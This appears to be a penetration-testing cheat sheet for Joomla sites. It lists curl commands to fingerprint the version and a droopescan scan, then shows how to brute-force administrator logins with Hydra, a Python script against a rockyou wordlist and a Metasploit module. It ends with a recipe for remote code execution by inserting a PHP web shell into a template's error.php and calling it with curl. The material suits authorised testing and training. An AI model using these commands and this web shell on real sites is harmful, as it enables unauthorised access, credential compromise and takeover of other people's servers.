Introduction¶
Joomla is a free and open-source content management system (CMS) used to create, manage, and publish digital content on websites. It provides a user-friendly interface and a range of features that allow users to build and maintain websites without needing to write code. Joomla is highly customizable, supporting extensions and templates to enhance functionality and design, making it a popular choice for websites of all sizes—from personal blogs to large corporate sites.
Identifying Joomla Version¶
-
Obtain Joomla Version from README:
curl -s http://[JOOMLA-DOMAIN]/README.txt | head -n 5
-
Check Version in Language Configuration:
curl -s http://[JOOMLA-DOMAIN]/language/en-GB/en-GB.xml
-
Check Version in XML Configuration Files:
curl -s http://[JOOMLA-DOMAIN]/plugins/system/cache/cache.xml
-
Check Version in Administrator Manifests:
curl -s http://[JOOMLA-DOMAIN]/administrator/manifests/files/joomla.xml | xmllint --format -
Automatic Scanning¶
- Use Droopescan for automatic scanning:
droopescan scan joomla --url http://[JOOMLA-DOMAIN]/
Brute Forcing Login Credentials¶
- Using Hydra for Credential Brute-Forcing:
hydra -L users.txt -P passwds.txt [JOOMLA-DOMAIN] http-get /administrator/index.php
- Using joomla-brute.py for Credential Brute-Forcing:
sudo python3 joomla-brute.py -u http://[JOOMLA-DOMAIN] -w /usr/share/wordlist/rockyou.txt -usr admin
- Using Metasploit for Credential Brute-Forcing:
msf > use auxiliary/scanner/http/joomla_bruteforce_login
Gain RCE by Injecting PHP Code in a Template¶
- Navigate to Templates in Joomla Admin Panel.
- Select protostar from the Template list.
- Access the Templates: Customize page.
- Edit the error.php page and insert the following PHP code:
system($_GET['cmd']);
- Save the changes.
- Trigger the RCE with:
curl -s http://[JOOMLA-DOMAIN]/templates/protostar/error.php?cmd=id